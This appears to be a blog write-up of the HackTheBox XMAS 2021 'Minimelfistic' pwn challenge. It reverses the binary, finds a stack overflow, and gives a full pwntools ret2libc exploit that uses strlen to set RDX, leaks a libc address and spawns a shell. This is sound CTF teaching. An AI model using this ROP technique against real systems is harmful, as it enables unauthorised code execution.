HTB XMAS 2021: Minimelfistic

HTB XMAS 2021: Minimelfistic

A year since I've posted on here! That's a bit embarassing honestly, but I did graduate from uni, get a job, and move into my own place in that time so I hope my absence is forgivable. Anyway, moving on.

This post is going to be on an interesting challenge from the recent HackTheBox Secret Santa CTF named Minimelfistic. The challenge was on the harder side of the ones released in the pwn category, requiring a little bit of funky ROP to complete. I really liked it, as it shows the kind of creativity you have to resort to if you're not given all the gadgets needed to pop a shell.

Initial Recon

Downloading the challenge tarball and decompressing it shows we have the following files given to us:

# ls -lah
total 2.0M
drwxr-xr-x 2 root root 4.0K Dec 17 18:36 .
drwxr-xr-x 7 root root 4.0K Dec 17 18:34 ..
-rwxr-xr-x 1 root root 2.0M Dec 17 18:35 libc.so.6
-rwxr-xr-x 1 root root  17K Dec 17 18:35 minimelfistic

Pretty standard, the binary itself as well as the libc version used so we don't have to derive it ourselves. From here, we can run the binary and have a bit of a play around to get a grasp on what's going on.

# ./minimelfistic 

[*] Santa is not home!

[*] Santa is not home!

[*] Santa is not home!

[*] Santa is not home!

[*] Santa is not home!

[!] Santa returned!

[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> y

[!] For your safety, the 🚨 will not be deactivated!

[*] Santa is not home!

[*] Santa is not home!

Strange, the binary seems to print [*] Santa is not home! a number of times before prompting us to enter y/n, after which the [*] Santa is not home! sequence continues. Running the binary multiple times seems to suggest that this is on a random timer.

Reversing the Binary

As we've got pretty much all we can from playing with the binary, it's time to crack it open and see what we can find. I'm going for some static analysis first, so Ghidra gets booted up.

Loading in the binary, we've still got some debug symbols, which is nice. There seem to be two important functions, main and sec_alarm. Let's have a dive into main first and see what's going on:

undefined8 main(void) {
  size_t sVar1;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined *local_28;
  char *local_20;
  undefined *local_18;
  int local_c;
  
  setup();
  local_c = 1;
  while (local_c != 0) {
    sec_alarm();
    local_18 = &DAT_004022d0;
    sVar1 = strlen(&DAT_004022d0);
    write(1,local_18,sVar1);
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    read(0,&local_48,0x7f0);
    if ((char)local_48 == '9') {
      local_20 = "Goodbye Santa!\n";
      sVar1 = strlen("Goodbye Santa!\n");
      write(1,local_20,sVar1);
      local_c = 0;
    }
    local_28 = &DAT_00402320;
    sVar1 = strlen(&DAT_00402320);
    write(1,local_28,sVar1);
    sleep(1);
  }
  return 0;
}

After a brief read, it looks like we have a few key events happening in this function:

  1. The call to sec_alarm on line 15
  2. The read call on line 23
  3. The char comparison and subsequent loop breakout on lines 24-29

Let's first have a look at sec_alarm to make sure nothing super important is happening in there. Ghidra gives us this for the decompilation:

void sec_alarm(void){
  int iVar1;
  uint uVar2;
  time_t tVar3;
  size_t sVar4;
  int local_c;
  
  tVar3 = time((time_t *)0x0);
  srand((uint)tVar3);
  iVar1 = rand();
  uVar2 = (uint)(iVar1 >> 0x1f) >> 0x1d;
  for (local_c = 0; local_c < (int)((iVar1 + uVar2 & 7) - uVar2); local_c = local_c + 1) {
    sVar4 = strlen("\n[*] Santa is not home!\a\n");
    write(1,&DAT_0040229f,sVar4);
    sleep(1);
  }
  sVar4 = strlen("\n[!] Santa returned!\n");
  write(1,"\n[!] Santa returned!\n",sVar4);
  return;
}

Nothing super interesting here, seems to just be grabbing a random value seeded with the time and then printing the Santa is not home! message a varying amount of times depending on that random value. We can probably ignore this for now.

The read call on line 23 immediately sets off some alarm bells. We're reading in 0x7f0 (2032) bytes to a buffer much smaller than that size, and it's not too difficult to guess what happens when you do that. To confirm how much work we're going to have to do to convert this buffer overflow to RCE, let's have a look at the checksec output:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL

No canary, so nice and easy to control the instruction pointer. NX is on, so we probably won't be looking to jump to shellcode. PIE is disabled so ROPing to gadgets in the main binary should be doable. Finally, RELRO's fully enabled so a GOT overwrite is unlikely.

The final thing we can spot is that actually returning from the function requires the first character in our input to be 9. Nothing too complex there, just worth remembering so we don't sit staring at GDB for 2 hours wondering why our payload isn't working.

Prodding Around

The first thing I wanted to do here was check that we really can control the return pointer, and that I wasn't missing something.

To interact with the binary, I'll be using a Python script with the Pwntools library. Starting off we can add all the boilerplate to get the binary running:

from pwn import *

BINARY_NAME = "./minimelfistic"

context.binary = BINARY_NAME

binary = ELF(BINARY_NAME)

p = process(BINARY_NAME)

p.interactive()

Running this executes the binary as expected, with the repeated Santa is not home! message playing a few times. To make things nice and clean, we can add a check into our binary to delay our input until the alarms stop:

p.recvuntil("(y/n)\n>")

p.sendline("y")

Running this works as expected, with a slight delay at the start and then the message [!] For your safety, the 🚨 will not be deactivated being displayed, showing our input is registering.

Next up we can do a bit more in-depth debugging to find what happens if we attempt to overflow the buffer. Let's attach a GDB instance which will break at the ret instruction of main, then add in a payload which should trigger a buffer overflow.

p = process(BINARY_NAME)

gdb.attach(p, "break *main+259")

p.recvuntil("(y/n)\n>")

p.sendline(b"9" + b"A"*2000)

p.interactive()

Here we'll get a new shell with gdb attached to the binary, which should open up when we run the pwntools script. As well as this, we're sending a 9 followed by 2000 As, which will hopefully trample over the stack and overwrite the return pointer. Running it and viewing the results in gdb shows this:

Great, just as we expected. We should have control over the return pointer. Let's grab the exact offset by using the pwnlib.util.cyclic library and a bit of manual inspection:

p = process(BINARY_NAME)

gdb.attach(p, "break *main+259")

p.recvuntil("(y/n)\n>")

p.sendline(b"9" + cyclic(2000))

p.interactive()

Running this and grabbing the first 4 bytes at RSP then feeding them into cyclic_find gives us the offset:

>>> from pwn import *
>>> cyclic_find("asaa")
71

Knowing that, we can do a dummy run with a 9 followed by 71 As, and finally a few Bs to check we've got the right offset:

p = process(BINARY_NAME)

gdb.attach(p, "break *main+259")

p.recvuntil("(y/n)\n>")

p.sendline(b"9" + b"A"*71 + b"BBBB")

p.interactive()

Perfect, just as expected.

Finding a ROPchain

With control over RIP and NX set, the next best option after jumping to shellcode is trying to get a ROPchain to return into libc and execute a call to system or something like that. Let's have a look at which functions are available to us in the main binary to see what we have to work with.

>>> from pwn import *
>>> binary = ELF("minimelfistic")
>>> print(binary.got)
{b'write': 6303656, b'strlen': 6303664, b'alarm': 6303672, b'read': 6303680, b'srand': 6303688, b'time': 6303696, b'setvbuf': 6303704, b'sleep': 6303712, b'rand': 6303720}
>>> print(binary.plt)
{b'write': 4195888, b'strlen': 4195904, b'alarm': 4195920, b'read': 4195936, b'srand': 4195952, b'time': 4195968, b'setvbuf': 4195984, b'sleep': 4196000, b'rand': 4196016}
>>> print(binary.symbols)
{b'write': 4195888, b'strlen': 4195904, b'alarm': 4195920, b'read': 4195936, b'srand': 4195952, b'time': 4195968, b'setvbuf': 4195984, b'sleep': 4196000, b'rand': 4196016, b'stdout': 6303760, b'stdin': 6303776, b'': 6303760, b'deregister_tm_clones': 4196096, b'register_tm_clones': 4196144, b'__do_global_dtors_aux': 4196208, b'completed.7698': 6303784, b'__do_global_dtors_aux_fini_array_entry': 6303128, b'frame_dummy': 4196256, b'__frame_dummy_init_array_entry': 6303120, b'__FRAME_END__': 4203788, b'__init_array_end': 6303128, b'_DYNAMIC': 6303136, b'__init_array_start': 6303120, b'__GNU_EH_FRAME_HDR': 4203356, b'_GLOBAL_OFFSET_TABLE_': 6303632, b'__libc_csu_fini': 4196944, b'sec_alarm': 4196394, b'stdout@@GLIBC_2.2.5': 6303760, b'data_start': 6303744, b'stdin@@GLIBC_2.2.5': 6303776, b'_edata': 6303760, b'_fini': 4196948, b'banner': 4196263, b'__data_start': 6303744, b'__dso_handle': 6303752, b'_IO_stdin_used': 4196960, b'__libc_csu_init': 4196832, b'_end': 6303792, b'_dl_relocate_static_pie': 4196080, b'_start': 4196032, b'__bss_start': 6303760, b'main': 4196569, b'__TMC_END__': 6303760, b'_init': 4195840, b'setup': 4196317, b'got.write': 6303656, b'got.strlen': 6303664, b'got.alarm': 6303672, b'got.read': 6303680, b'got.srand': 6303688, b'got.time': 6303696, b'got.setvbuf': 6303704, b'got.sleep': 6303712, b'got.rand': 6303720}

So in terms of writing to stdout, we've got access to the write function, which is great, but not much else. write takes 3 arguments: a file descriptor to write to, the buffer to write from, and the amount of bytes to write. Knowing this, we ideally want to print to stdout (file descriptor 1) a memory leak of a GOT function (any should work, I'll go with write again for consistency), with the amount of bytes being 6 or above so we get the full leak.

To call write with arguments, we'll need some ROP gadgets to fill certain registers before calling the function, namely RDI, RSI, and RDX for the first, second, and third registers respectively. Let's use ROPgadget to check the binary and see which gadgets we have access to:

0x0000000000400826 : call qword ptr [rax + 0x4855c35d]
0x00000000004007d9 : call qword ptr [rax + 0x4855c3c9]
0x0000000000400610 : call rax
0x0000000000402383 : call rsp
0x0000000000400632 : jb 0x40065d ; and byte ptr [rax], al ; push 0 ; jmp 0x400620
0x000000000040060e : je 0x400612 ; call rax
0x0000000000400719 : je 0x400728 ; pop rbp ; mov edi, 0x603010 ; jmp rax
0x000000000040075b : je 0x400768 ; pop rbp ; mov edi, 0x603010 ; jmp rax
0x000000000040063b : jmp 0x400620
0x00000000004007a5 : jmp 0x400730
0x0000000000400873 : jmp 0x4008a3
0x00000000004008ed : jmp 0x4009cc
0x0000000000400285 : jmp 0xffffffffd282165b
0x0000000000402413 : jmp qword ptr [rax]
0x00000000004024bb : jmp qword ptr [rbp]
0x0000000000400721 : jmp rax
0x000000000040237b : lcall [rax + 0x4b000000] ; in al, 0xff ; call rsp
0x00000000004007db : leave ; ret
0x0000000000402411 : loop 0x402412 ; jmp qword ptr [rax]
0x0000000000400782 : mov byte ptr [rip + 0x20289f], 1 ; pop rbp ; ret
0x000000000040086c : mov dword ptr [rbp - 4], 0 ; jmp 0x4008a3
0x00000000004008e6 : mov dword ptr [rbp - 4], 1 ; jmp 0x4009cc
0x00000000004009d6 : mov eax, 0 ; leave ; ret
0x00000000004007a2 : mov ebp, esp ; pop rbp ; jmp 0x400730
0x000000000040071c : mov edi, 0x603010 ; jmp rax
0x00000000004007a1 : mov rbp, rsp ; pop rbp ; jmp 0x400730
0x0000000000400a3c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a3e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a40 : pop r14 ; pop r15 ; ret
0x0000000000400a42 : pop r15 ; ret
0x00000000004007a4 : pop rbp ; jmp 0x400730
0x000000000040071b : pop rbp ; mov edi, 0x603010 ; jmp rax
0x0000000000400a3b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a3f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400728 : pop rbp ; ret
0x0000000000400a43 : pop rdi ; ret
0x0000000000400a41 : pop rsi ; pop r15 ; ret
0x0000000000400a3d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400616 : ret
0x00000000004007c8 : ret 0x8b48
0x000000000040084c : ret 0xd089
0x0000000000400856 : ret 0xe283

I snipped out some of the less interesting ones, but from this we can immediately spot a few useful gadgets: pop rdi, ret and pop rsi; pop r15; ret. The first is a nice easy write into the fd argument, and the second we can just add a dummy value to write into r15 with rsi being set to the address of our target GOT function.

We run into a bit of snag when trying to write the length value into RDX though; none of the gadgets available in the binary seem to do much with the register.

# ROPgadget --binary minimelfistic | grep "dx\|dl"                                                       1 ⨯
0x000000000040240d : add byte ptr [rax], al ; add byte ptr [rax], dl ; loop 0x402412 ; jmp qword ptr [rax]
0x000000000040079d : add byte ptr [rax], al ; add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400730
0x000000000040240b : add byte ptr [rax], dh ; add byte ptr [rax], al ; add byte ptr [rax], dl ; loop 0x402412 ; jmp qword ptr [rax]
0x000000000040240f : add byte ptr [rax], dl ; loop 0x402412 ; jmp qword ptr [rax]
0x000000000040079f : add byte ptr [rbp + 0x48], dl ; mov ebp, esp ; pop rbp ; jmp 0x400730
0x000000000040060d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret

Yeah, not very much to work with here at all. On top of this, the value of RDX when we hit the ret instruction in main is 0, so it won't write any bytes from the buffer to stdout:

RAX: 0x0 
RBX: 0x0 
RCX: 0x7fc390349aca (<__GI___clock_nanosleep+42>:       mov    edx,eax)
RDX: 0x0 
RSI: 0x0 
RDI: 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffec5e72de0 --> 0x7ffec5e72ec8 --> 0x7ffec5e743d2 ("./minimelfistic")
RIP: 0x7f0a42424242

Obscure Gadgets

So we don't have a suitable gadget for writing a value into RDX, which is annoying as literally any value over 6 would be sufficient. I was stuck here for a little bit trying to decide whether I was in a rabbit hole or if I was just missing something.

After a while, the idea popped in my head to try and use other function calls as pseudo-gadgets. Functions don't necessarily need to clean up all their values in registers after being called, so if we can find a function that leaves a value in RDX after returning we'd have exactly what we need.

To test this theory, we can do a bit more memory examination inside gdb. There are plenty of function calls happening, so if we just set a breakpoint before a function call and then look at the memory values before/after, we can see if it leaves anything in RDX.

My first try at this was with strlen, as it's called a few times during normal execution and also only requires one argument (which comes in handy if we want to call it ourselves in our ROP chain).

Setting a breakpoint at the call to strlen at 0x40090e shows us the following context dump:

Using n to step past the function call lets us see the registers afterwards:

Well... we've got a value in RDX! Granted, it is a very large value, but this should still work for our purposes as we can just extrapolate the first 6 bytes for a useful memory leak.

Putting it all together

With all this we should be able to piece together a classic ret2libc ROPchain, calculating the libc base and then calling system with /bin/sh.

We can use the handy pwnlib.ROP module from pwntools to put together our chain, starting off by initialising the ROP object from the target binary and then adding in our call to strlen.

rop1 = ROP(binary)

rop1.raw(rop1.find_gadget(["pop rdi", "ret"]))
rop1.raw(next(binary.search(b"Santa"))) # random string from the binary so strlen has something to read
rop1.call("strlen")

Running this and breaking at ret again shows that the stack is set up as expected, and stepping through successfully calls strlen.

Now we can expand this first ROPchain to leak an address from the GOT. We'll first get a large value into RDX using strlen, then pop 1 into RDI and got.write into RSI. Finally, we'll call write and then hop back to main.

rop1 = ROP(binary)

# put a value into RDX
rop1.raw(rop1.rdi) # shorthand for our pop rdi; ret gadget
rop1.raw(next(binary.search(b"Santa"))) # random string from the binary so strlen has something to read
rop1.call("strlen")

# call write with address of got.write
rop1.raw(rop1.rdi)
rop1.raw(1) # stdout
rop1.raw(rop1.rsi)
rop1.raw(binary.got[b"write"])
rop1.raw(1) # dummy r15
rop1.write()

# go back to main
rop1.main()

print(rop1.dump())

Running this gives us the following output from ROP.dump:

0x0000:         0x400a43 pop rdi; ret
0x0008:         0x4022a4
0x0010:         0x400640 strlen()
0x0018:         0x400616 <adjust: ret>
0x0020:         0x400a43 pop rdi; ret
0x0028:              0x1
0x0030:         0x400a41 pop rsi; pop r15; ret
0x0038:         0x602fa8 b'got.write'
0x0040:              0x1
0x0048:         0x400630 write()
0x0050:         0x400616 <adjust: ret>
0x0058:         0x4008d9 main()
0x0060:      b'yaaazaab' <pad>

All looks good. Last thing to do is run the binary and see what happens. After running and letting it send the payload, we can see a whole lot of data get written to stdout:

This is a great sign, and suggests that we've leaked memory, with the first 6 bytes hopefully being our libc leak. Let's grab this using recv and confirm.

p.recvuntil("deactivated!\n")

leak = u64(p.recv(6) + b"\x00\x00")

log.info(f"write @ GOT: {hex(leak)}")

Inserting  this after sending our ROPchain will let us grab the first 6 bytes of the leak, append two null bytes so we get a full 8-bit address, then print it out (in theory). Running it gives this output:

[+] Starting program './minimelfistic': Done

[*] write @ GOT: 0x7f25a866e950
[*] Switching to interactive mode

Perfect! That looks like a valid libc address (starts with 0x7f), and running a few more times shows that the last few bytes stay the same, so it's safe to assume we've got a valid leak. From here we can carry on with the rest of a standard ret2libc exploit, making another ROPchain to calculate the libc base and then call system .

leak = u64(p.recv(6) + b"\x00\x00")
p.clean()
log.info(f"write @ GOT: {hex(leak)}")

libc.address = leak - libc.symbols[b"write"]
log.info(f"base @ libc: {hex(libc.address)}")

rop2 = ROP(libc)
binsh = next(libc.search(b"/bin/sh\x00"))
rop2.system(binsh)

p.recvuntil("deactivated!\n")

p.sendline(b"9" + b"A"*71 + rop2.chain())

p.interactive()

Running this script gives us the following output:

[+] Starting program './minimelfistic': Done
[*] write @ GOT: 0x7f3dced8d950
[*] base @ libc: 0x7f3dcec9f000
[*] Loaded cached gadgets for '/usr/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode
 Goodbye Santa!

[!] For your safety, the 🚨 will not be deactivated!
$ id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),120(wireshark),142(kaboxer)
$

And that's the challenge done :) In the real CTF you'd have to switch out the local libc binary for the target one and change from a local to a remote process, but should all be the same otherwise.

Below is the full script used:

from pwn import *

BINARY_NAME = "./minimelfistic"
context.binary = BINARY_NAME
binary = ELF(BINARY_NAME)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")


rop1 = ROP(binary)

# put a value into RDX
rop1.raw(rop1.rdi) # shorthand for our pop rdi; ret gadget
rop1.raw(next(binary.search(b"Santa"))) # random string from the binary so strlen has something to read
rop1.call("strlen")

# call write with address of got.write
rop1.raw(rop1.rdi)
rop1.raw(1) # stdout
rop1.raw(rop1.rsi)
rop1.raw(binary.got[b"write"])
rop1.raw(1) # dummy r15
rop1.write()

# go back to main
rop1.main()


p = process(BINARY_NAME)

#gdb.attach(p, "break main")

p.recvuntil("(y/n)\n>")
p.sendline(b"9" + b"A"*71 + rop1.chain())
p.recvuntil("deactivated!\n")

leak = u64(p.recv(6) + b"\x00\x00") # grab our GOT leak
p.clean()
log.info(f"write @ GOT: {hex(leak)}")

libc.address = leak - libc.symbols[b"write"]
log.info(f"base @ libc: {hex(libc.address)}")

# create the second ropchain to pop a shell
rop2 = ROP(libc)
binsh = next(libc.search(b"/bin/sh\x00")) # find /bin/sh string in libc
rop2.system(binsh)

p.recvuntil("(y/n)\n>")

p.sendline(b"9" + b"A"*71 + rop2.chain()) # send 2nd ropchain

p.interactive() # shell!